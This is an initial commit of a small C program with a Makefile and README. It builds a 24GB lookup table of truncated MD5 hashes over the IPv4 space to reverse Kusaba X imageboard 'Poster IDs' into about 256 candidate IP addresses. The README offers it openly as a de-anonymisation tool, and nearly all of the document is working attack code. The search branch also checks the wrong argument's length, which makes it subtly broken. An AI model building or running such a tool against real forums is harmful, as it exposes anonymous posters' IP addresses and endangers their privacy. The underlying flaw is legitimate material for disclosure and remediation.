init

Makefile

@@ -0,0 +1,16 @@
+CFLAGS = -Wall -std=c99
+
+SRCS = ids.c
+OBJS = $(SRCS:.c=.o)
+LIBS = -lcrypto
+BIN = ids
+
+
+all: $(BIN)
+
+$(BIN): $(OBJS)
+	$(CC) -o $(BIN) $(OBJS) $(LIBS)
+
+clean:
+	$(RM) $(BIN) $(OBJS)
+

README.md

@@ -0,0 +1,20 @@
+## Requirements
+1.	24GB disk space for rainbow table.
+2.	OpenSSL library
+
+## Background
+Currently, Kusaba X and a lot of Kusaba X ports use a very insecure algorithm for calculating "Poster IDs". That is, a semi-unique ID used as a means of identification. Unfortunately, the developers must have overlooked the major flaw in the algorithm when developing the function. The poster IDs are calculated by simply truncating an (unsalted) MD5 hash of the dotted decimal representation of the user's IP address to 6 characters. As there are 2<sup>32</sup> IPv4 addresses and only 2<sup>24</sup> possible IDs, it makes it possible (and incredibly easy) to narrow an ID down to ~256 IP addresses. The rest could possibly be eliminated using GeoIP or any other means.
+
+Although it may seem unpractical because of the time and processing power required to test a hash against every single IP address, it could be done in just minutes with a large rainbow table.
+
+In short, this simple program will turn a standard Kusaba X "Poster ID" into ~256 possible IPv4 addresses.
+
+## Usage
+To compile, use `make`.
+
+### Generation
+To generate the rainbow table, use `./ids <database filename> --generate`. Depending on disk and CPU speeds, this may take a few minutes (or even hours), but only needs to be done once. This will produce a 24GB file.
+
+### Search
+To decode an ID, use `ids <database> <poster id>`. All possible IPv4 addresses will be printed to standard output line by line. Again depending on CPU and disk speeds, this may take a few minutes.
+

ids.c

@@ -0,0 +1,125 @@
+/* 
+ *  Copyright (c) 2011 Michael Save <[email protected]>
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
+ * INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
+ * PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+ * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+ * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
+ * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+ *
+ * Read the README provided for more information.
+ * 
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <string.h>
+
+#include <time.h>
+#include <ctype.h>
+#include <errno.h>
+#include <math.h>
+
+#include <openssl/md5.h>
+
+char *
+ultoip(unsigned long ul)
+{
+	static char ip[16];
+	char t[16];
+	char *tp;
+	unsigned long tl;
+	ip[0] = '\0';
+
+	do {
+		tp = t;
+		tl = ul % 256;
+		ul /= 256;
+		if (ul)
+			*t = '.', ++tp;
+		sprintf(tp, "%lu", tl);
+		strcat(t, ip);
+		strcpy(ip, t);
+	} while (ul);
+	return ip;
+}
+
+int
+main(int argc, char *argv[])
+{	
+
+	if(argc != 3 || strcmp(argv[1], "--help") == 0) {
+		fprintf(stderr, "Usage: ids <database> <poster id>\n");
+		fprintf(stderr, "   or: ids <database> --generate\n");
+		exit(0);
+	}
+
+	char *database = argv[1];
+
+	if(strcmp(argv[2], "--generate") == 0) {
+		// generate rainbow table
+		FILE *fp = fopen(database, "w");
+		if(fp == NULL) {
+			fprintf(stderr, "Error opening %s for writing!\n", database);
+			return 1;
+		}
+
+		char *hash = malloc(7);
+
+		unsigned long x;
+		char *ip;
+		for(x = 16843009; x < 4294967295 ; x++) {
+			ip = ultoip(x);
+
+			// create hash
+			MD5_CTX c;
+			uint8_t digest[MD5_DIGEST_LENGTH];
+
+			MD5_Init(&c);
+			MD5_Update(&c, ip, strlen(ip));
+			MD5_Final(&digest[0], &c);
+
+			for(int i = 0; i < 3; i++) {
+				hash[i*2] = "0123456789abcdef"[(digest[i] / 16) % 16];
+				hash[1+i*2] = "0123456789abcdef"[digest[i] % 16];
+			}
+
+			// append hash to rainbow table
+			fwrite(hash, 1, 6, fp);
+		}
+
+		fclose(fp);	
+	} else if(strlen(argv[1]) == 6) {
+		char *hash = malloc(7);
+		hash[6] = 0;
+
+		// open rainbow table for reading
+		FILE *fp = fopen(database, "r");
+		if(fp == NULL) {
+			fprintf(stderr, "Error opening %s for reading!\n", database);
+			return 1;
+		}
+
+		char* search_hash = argv[2];
+
+		// iterate through ipv4 address space
+		unsigned long i = 16843009;
+		while(!feof(fp)) {
+			fread(hash, 1, 6, fp);
+			// test hash
+			if(strncmp(hash, search_hash, 6) == 0) {
+				// yep
+				printf("%s\n", ultoip(i));
+			}
+			i++;
+		}
+
+		fclose(fp);
+	} else {
+		fprintf(stderr, "Error: Poster ID must be 6 characters (hexadecimal)!");
+		return 1;
+	}
+}
+